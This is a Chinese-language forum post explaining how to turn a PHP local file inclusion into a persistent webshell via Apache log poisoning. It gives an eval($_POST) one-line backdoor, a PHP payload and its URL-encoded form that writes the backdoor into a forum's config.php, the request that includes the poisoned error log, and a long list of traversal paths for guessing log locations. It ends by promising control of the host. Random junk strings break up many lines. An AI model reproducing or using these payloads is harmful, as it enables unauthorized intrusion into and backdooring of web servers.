php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
  N: Y6 H4 g. M" ]: I3 I  J5 d
比如还是这句一句话木马
& K9 L" {7 |7 p; c# [0 j/ N<?eval($_POST[cmd]);?>   
9 v! X& c& B. X, O
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
2 G, y& {% ~; E8 \1 Ofopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
! `: @9 p1 S+ V8 F; N0 Mfclose($fp);?>   //在config.php里写入一句木马语句
+ D: d, r9 z9 \- I6 P/ t
' [' ?: H% ?$ r! C9 ^$ l, Q% p; E+ e我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
, G# m2 ~, d' l6 T转换为
8 w/ Q' i; o, o" h6 C5 N6 Q%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
' `! p. f$ ]% [http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
: y7 `% x; L' n; M& ?%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
8 v% I: i7 f& i. j
这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
, l; H( _% K6 Z! ?9 I$ Khttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

3 Y1 v& ~1 b1 q, |! M这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

; `8 P( `3 Q" z; U# j& I其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
9 x2 i- R" _8 j' n! U; |+ j../../../../../../../../../../var/log/httpd/error_log
/ y& l1 e0 z: L8 f- L../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
5 H5 Q: y! \' T5 F../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
# k+ E* x# }6 s../../../../../../../../../../etc/httpd/logs/error_log
5 |/ d3 \" G* _( ?+ A../../../../../../../../../../etc/httpd/logs/error.log
( x' F8 {* b$ R' F& t/ J../../../../../../../../../../var/www/logs/access_log
3 [+ r7 T) J4 O( b/ M../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
' s: O4 _: {' H* o../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
4 s! Y; u; V# C7 E../../../../../../../../../../var/log/access_log
9 a! [$ }% V# [3 I# `5 _../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
" J" c% Q. A$ E) d) [/ h* K# J../../../../../../../../../../usr/local/apache/logs/error_log
4 Z" I& U$ z8 A2 {9 P5 E: O../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
. P5 o2 l/ a4 \$ f2 N# e# G. {../../../../../../../../../../var/log/apache/error.log
" B* u1 E7 D- ?# i+ f+ o: V- z../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
7 z1 d9 T+ s5 h: N1 m, U/var/log/httpd/access_log      
/var/log/httpd/error_log     
: c8 r9 }, v! J4 s../apache/logs/error.log     
../apache/logs/access.log
4 z3 r: Y) r: o1 j2 w6 G../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
9 j" M- l' t- p, ~/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
4 N5 M3 L8 z5 D( i( n/ Z; V6 z6 f/usr/local/apache/logs/access_log
3 Y; k7 P  Z4 T" G/usr/local/apache/logs/access.log
7 ^+ x( u% k; B3 b: ]  J/var/log/apache/access_log
; [$ B' l" W# E+ [5 G8 c1 v/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
7 o  m0 S; J" B8 F, b( |, X1 g/var/www/logs/error.log
6 V) M' h& d; I/ U/ f/usr/local/apache/logs/error_log
2 n+ Q8 `, e* J; h  s9 z/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
2 o  g$ c& U/ x6 S" m2 |3 g/var/log/access_log
" c* E+ q3 p: w, v# l& D* |; X/var/log/error_log